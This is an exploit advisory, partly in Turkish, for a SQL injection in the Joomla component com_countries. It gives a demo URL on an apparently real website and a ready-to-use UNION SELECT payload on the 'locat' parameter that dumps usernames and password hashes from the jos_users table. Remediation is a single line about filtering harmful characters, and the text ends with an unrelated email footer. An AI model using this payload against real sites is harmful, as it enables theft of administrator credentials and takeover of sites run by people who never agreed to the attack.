<------------------- header data start ------------------- > ############################################################# # Joomla Component com_countries SQL Injection Vulnerability ############################################################# # Author : FL0RiX # Name : com_countries # Greez : Deep-Power, PyskE,Septemb0x,KaCaK # Bug Type : SQL Injection # Infection : Admin login bilgileri alinabilir. # Demo Vuln. : http://www.gocvg.com/index.php?option=com_countries&locat=[SQL INJ.] # Bug Fix Advice : Zararli karakterler filtrelenmelidir. ############################################################# < ------------------- header data end of ------------------- > < -- bug code start -- > path/index.php?option=com_countries&locat=null/**/union/**/select/**/concat(username,0x3a,password)fl0f0r3v3r/**/from/**/jos_users < -- bug code end of -- > _________________________________________________________________ Windows Live: Arkadaşlarınız size e-posta gönderdiklerinde Flickr, Twitter ve Digg'deki hareketlerinizi görürler. http://www.microsoft.com/windows/windowslive/see-it-in-action/social-network-basics.aspx?ocid=PID23461::T:WLMTAGL:ON:WL:tr-tr:SI_SB_3:092010